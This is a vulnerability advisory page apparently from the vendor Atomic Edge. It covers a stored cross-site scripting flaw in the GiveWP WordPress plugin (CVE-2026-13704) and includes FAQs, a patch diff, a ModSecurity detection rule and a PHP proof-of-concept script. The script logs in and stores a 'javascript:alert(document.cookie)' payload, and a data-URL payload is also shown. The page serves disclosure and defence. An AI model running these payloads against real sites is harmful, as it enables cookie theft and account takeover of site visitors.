What is CVE-2026-13704?

CVE-2026-13704 is a stored cross-site scripting vulnerability in the GiveWP donation plugin for WordPress, affecting versions up to and including 4.16.1. It allows authenticated attackers with Give Worker-level access or higher to inject arbitrary JavaScript via the Sequoia form template’s introduction image field.

How does the vulnerability work?

The vulnerability exists because the plugin does not properly sanitize or escape the ‘sequoia[introduction][image]’ parameter when saving and displaying the introduction image URL. An attacker can store a malicious payload, such as a javascript: URL or a data URL, which executes when any user views the donation form.

Who is affected by this vulnerability?

WordPress sites running GiveWP version 4.16.1 or earlier are affected. The attack requires an authenticated user with at least the Give Worker role, which is a plugin-specific role with limited access to donation forms. Any user who views a compromised form, including administrators, may be impacted.

How can I check if my site is vulnerable?

Check your GiveWP plugin version in the WordPress admin under Plugins. If the version is 4.16.1 or lower, your site is vulnerable. Additionally, review any Sequoia-style donation forms for unexpected or suspicious image URLs in the introduction section.

What is the CVSS score and what does it mean?

The CVSS score is 6.4, classified as Medium severity. This indicates that while the vulnerability requires authentication and some user interaction, it can lead to significant impact such as session hijacking or credential theft. Practical risk depends on the trust level of Give Worker users.

How do I fix this vulnerability?

Update GiveWP to version 4.16.2 or later, which includes proper input sanitization using esc_url_raw() on save and output escaping using esc_url() on display. You can update via the WordPress admin dashboard or by downloading the latest version from the plugin repository.

What if I cannot update immediately?

As a temporary workaround, restrict Give Worker role permissions to only trusted users. You can also disable the Sequoia form template or use a different template that does not include the vulnerable image field. However, updating is the only complete fix.

How does the proof of concept demonstrate the issue?

The proof of concept authenticates as a Give Worker, then sends a request to save a malicious payload like ‘javascript:alert(document.cookie)’ as the introduction image URL. When the form is viewed, the script executes, proving that stored XSS is possible. The PoC is intended for authorized testing only.

What is the root cause of this vulnerability?

The root cause is insufficient input sanitization and output escaping. In the introduction.php template, the $image variable was echoed directly into the src attribute without esc_url(). Additionally, the metabox form data handler lacked a case for ‘file’ type fields, so esc_url_raw() was not applied on save.

What are the potential impacts of exploitation?

An attacker can execute arbitrary JavaScript in the context of any user viewing the form, leading to session hijacking, credential theft, defacement, or redirection to malicious sites. If an administrator views the form, the attacker could steal admin cookies and gain full site control.

How was the vulnerability patched?

The patch added esc_url() to the image output in introduction.php and introduced a new ‘case file:’ handler in the save function that applies esc_url_raw() to the value. These changes ensure the URL is sanitized both on storage and display, preventing XSS injection.

Where can I find more information?

Refer to the official GiveWP changelog for version 4.16.2, the CVE entry at NVD, and the Atomic Edge security analysis for detailed code diffs and exploitation steps. Always verify information from trusted sources.

Published : July 1, 2026

CVE-2026-13704: GiveWP <= 4.16.1 Authenticated (Give Worker+) Stored Cross-Site Scripting via Sequioa Form PoC, Patch Analysis & Rule

CVE ID CVE-2026-13704

Plugin give

Severity Medium (CVSS 6.4)

CWE 79

Vulnerable Version 4.16.1

Patched Version 4.16.2

Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-13704:

This vulnerability is a Stored Cross-Site Scripting (XSS) in GiveWP versions up to 4.16.1. The issue exists in the Sequoia form template introduction section. An attacker with Give Worker-level access or higher can inject arbitrary web scripts through the ‘sequoia[introduction][image]’ parameter. The CVSS score is 6.4, indicating medium severity.

Root Cause: The vulnerability originates from insufficient input sanitization and output escaping in the Sequoia form template. In `give/src/Views/Form/Templates/Sequoia/sections/introduction.php` at lines 34-36, the `$image` variable is echoed directly into an `img` tag’s `src` attribute without using `esc_url()`. Additionally, in `give/includes/admin/forms/class-metabox-form-data.php`, the ‘file’ field type handler (added in the patch) was missing. The `saveFormTemplateSettingHandler` function at line 1095 processes form template settings but did not sanitize ‘file’ type field values using `esc_url_raw()`. This allowed attackers to store arbitrary JavaScript payloads as the introduction image URL.

Exploitation: An authenticated attacker with Give Worker-level access or higher can exploit this vulnerability by navigating to the Give donation form editor for a Sequoia-style form. The attacker modifies the ‘Introduction Image’ field (parameter `sequoia[introduction][image]`) and submits a payload such as `javascript:alert(document.cookie)` or a data URL like `data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==`. When any user (including site administrators) views the donation form, the injected script executes in their browser context.

Patch Analysis: The patch introduces two key changes. First, in `give/src/Views/Form/Templates/Sequoia/sections/introduction.php`, the `$image` variable is now wrapped with `esc_url()` when rendered in the `img` tag. Second, in `give/includes/admin/forms/class-metabox-form-data.php`, a new `case ‘file’:` handler is added in the `saveFormTemplateSettingHandler` function that applies `esc_url_raw()` to the value before storage. These changes ensure the image URL is sanitized both on input (storage) and output (display), preventing XSS injection through this parameter.

Impact: Successful exploitation allows an authenticated attacker with Give Worker-level privileges to execute arbitrary JavaScript in the context of any user who views the affected donation form. This can lead to session hijacking, credential theft (via keylogging or form manipulation), defacement, or redirection to malicious sites. The attacker can also potentially escalate privileges by stealing admin cookies or performing actions on behalf of higher-privileged users who view the form.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/give/give.php
+++ b/give/give.php
@@ -6,7 +6,7 @@
  * Description: The most robust, flexible, and intuitive way to accept donations on WordPress.
  * Author: GiveWP
  * Author URI: https://givewp.com/
- * Version: 4.16.1
+ * Version: 4.16.2
  * Requires at least: 6.6
  * Requires PHP: 7.4
  * Text Domain: give
@@ -426,7 +426,7 @@
     {
         // Plugin version.
         if (!defined('GIVE_VERSION')) {
-            define('GIVE_VERSION', '4.16.1');
+            define('GIVE_VERSION', '4.16.2');
         }

         // Plugin Root File.
--- a/give/includes/admin/forms/class-metabox-form-data.php
+++ b/give/includes/admin/forms/class-metabox-form-data.php
@@ -1095,6 +1095,8 @@
 	/**
 	 * Save form template setting handler
 	 *
+	 * @since 4.16.2 Normalize file field values as URLs when saving form template settings.
+	 *
 	 * @param string $meta_key
 	 * @param string $new_template
 	 * @param int    $formID
@@ -1145,6 +1147,10 @@
 						$value = $options[ $group->id ][ $field->id ];
 						break;

+					case 'file':
+						$value = esc_url_raw( $options[ $group->id ][ $field->id ] );
+						break;
+
 					case 'group':
 						/* @var GiveFormAPIFormGroup $field */
 						foreach ( $options[ $group->id ][ $field->id ] as $index => $subFields ) {
--- a/give/includes/forms/template.php
+++ b/give/includes/forms/template.php
@@ -2021,11 +2021,13 @@
 /**
  * Give Donation form submit button.
  *
+ * @since 4.16.2 Escape submit button label in form markup.
+ * @since  1.8.8
+ *
  * @param int   $form_id The form ID.
  * @param array $args
  *
  * @return string
- * @since  1.8.8
  */
 function give_get_donation_form_submit_button( $form_id, $args = [] ) {

@@ -2036,7 +2038,7 @@
 	?>
 	<div class="give-submit-button-wrap give-clearfix">
 		<input type="submit" class="give-submit give-btn" id="give-purchase-button" name="give-purchase"
-			   value="<?php echo $display_label; ?>" data-before-validation-label="<?php echo $display_label; ?>"/>
+			   value="<?php echo esc_attr( $display_label ); ?>" data-before-validation-label="<?php echo esc_attr( $display_label ); ?>"/>
 		<span class="give-loading-animation"></span>
 	</div>
 	<?php
--- a/give/src/Views/Form/Templates/Sequoia/sections/introduction.php
+++ b/give/src/Views/Form/Templates/Sequoia/sections/introduction.php
@@ -1,5 +1,9 @@
 <?php

+/**
+ * @since 4.16.2 Escape introduction image URL when rendering the template.
+ */
+
 use GiveHelpersFormTemplateUtilsFrontend as FrontendFormTemplateUtils;

 $formInfo = get_post(FrontendFormTemplateUtils::getFormId());
@@ -30,8 +34,7 @@
     <?php
     if ( ! empty($image)) : ?>
         <div class="image">
-            <img src="<?php
-            echo $image; ?>" />
+            <img src="<?php echo esc_url( $image ); ?>" />
         </div>
     <?php
     endif; ?>
--- a/give/vendor/composer/installed.php
+++ b/give/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'impress-org/give',
-        'pretty_version' => '4.16.1',
-        'version' => '4.16.1.0',
-        'reference' => 'fdda404b7e9d021966f10cb0da1e6b58bd88ec3c',
+        'pretty_version' => '4.16.2',
+        'version' => '4.16.2.0',
+        'reference' => '22eba7d49d574a629258cdd18ed14e0f2595eb66',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -20,9 +20,9 @@
             'dev_requirement' => false,
         ),
         'impress-org/give' => array(
-            'pretty_version' => '4.16.1',
-            'version' => '4.16.1.0',
-            'reference' => 'fdda404b7e9d021966f10cb0da1e6b58bd88ec3c',
+            'pretty_version' => '4.16.2',
+            'version' => '4.16.2.0',
+            'reference' => '22eba7d49d574a629258cdd18ed14e0f2595eb66',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-13704
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261371,phase:2,deny,status:403,chain,msg:'CVE-2026-13704 - GiveWP Stored XSS via sequoia[introduction][image]',severity:'CRITICAL',tag:'CVE-2026-13704'"
  SecRule ARGS_POST:action "@streq save_give_form_template_settings" "chain"
    SecRule ARGS_POST:sequoia[introduction][image] "@rx (?:javascript|data:text/html|onload|onerror|onclick|onmouseover)" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13704 - GiveWP <= 4.16.1 - Authenticated (Give Worker+) Stored Cross-Site Scripting via Sequoia Form

$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$username = 'attacker'; // Give Worker or higher role
$password = 'attacker_password';

// Step 1: Authenticate
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);

// Step 2: Get the nonce and form ID for a Sequoia-style form
// This example assumes we know a valid form ID (e.g., 123)
$form_id = 123;
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'action=save_give_form_template_settings&form_id=' . $form_id . '&sequoia[introduction][image]=javascript:alert(document.cookie)&give_form_meta_nonce=' . urlencode('valid_nonce_here'));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);

if (curl_error($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo 'Response: ' . $response . "n";
    echo "Exploit payload submitted. Visit the form page to trigger XSS.n";
}

curl_close($ch);

Frequently Asked Questions

What is CVE-2026-13704?
Vulnerability overview
CVE-2026-13704 is a stored cross-site scripting vulnerability in the GiveWP donation plugin for WordPress, affecting versions up to and including 4.16.1. It allows authenticated attackers with Give Worker-level access or higher to inject arbitrary JavaScript via the Sequoia form template’s introduction image field.
How does the vulnerability work?
Technical mechanism
The vulnerability exists because the plugin does not properly sanitize or escape the ‘sequoia[introduction][image]’ parameter when saving and displaying the introduction image URL. An attacker can store a malicious payload, such as a javascript: URL or a data URL, which executes when any user views the donation form.
Who is affected by this vulnerability?
Affected users and roles
WordPress sites running GiveWP version 4.16.1 or earlier are affected. The attack requires an authenticated user with at least the Give Worker role, which is a plugin-specific role with limited access to donation forms. Any user who views a compromised form, including administrators, may be impacted.
How can I check if my site is vulnerable?
Detection methods
Check your GiveWP plugin version in the WordPress admin under Plugins. If the version is 4.16.1 or lower, your site is vulnerable. Additionally, review any Sequoia-style donation forms for unexpected or suspicious image URLs in the introduction section.
What is the CVSS score and what does it mean?
Severity interpretation
The CVSS score is 6.4, classified as Medium severity. This indicates that while the vulnerability requires authentication and some user interaction, it can lead to significant impact such as session hijacking or credential theft. Practical risk depends on the trust level of Give Worker users.
How do I fix this vulnerability?
Patch and update
Update GiveWP to version 4.16.2 or later, which includes proper input sanitization using esc_url_raw() on save and output escaping using esc_url() on display. You can update via the WordPress admin dashboard or by downloading the latest version from the plugin repository.
What if I cannot update immediately?
Temporary mitigations
As a temporary workaround, restrict Give Worker role permissions to only trusted users. You can also disable the Sequoia form template or use a different template that does not include the vulnerable image field. However, updating is the only complete fix.
How does the proof of concept demonstrate the issue?
PoC explanation
The proof of concept authenticates as a Give Worker, then sends a request to save a malicious payload like ‘javascript:alert(document.cookie)’ as the introduction image URL. When the form is viewed, the script executes, proving that stored XSS is possible. The PoC is intended for authorized testing only.
What is the root cause of this vulnerability?
Code analysis
The root cause is insufficient input sanitization and output escaping. In the introduction.php template, the $image variable was echoed directly into the src attribute without esc_url(). Additionally, the metabox form data handler lacked a case for ‘file’ type fields, so esc_url_raw() was not applied on save.
What are the potential impacts of exploitation?
Consequences
An attacker can execute arbitrary JavaScript in the context of any user viewing the form, leading to session hijacking, credential theft, defacement, or redirection to malicious sites. If an administrator views the form, the attacker could steal admin cookies and gain full site control.
How was the vulnerability patched?
Patch details
The patch added esc_url() to the image output in introduction.php and introduced a new ‘case file:’ handler in the save function that applies esc_url_raw() to the value. These changes ensure the URL is sanitized both on storage and display, preventing XSS injection.
Where can I find more information?
Resources
Refer to the official GiveWP changelog for version 4.16.2, the CVE entry at NVD, and the Atomic Edge security analysis for detailed code diffs and exploitation steps. Always verify information from trusted sources.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started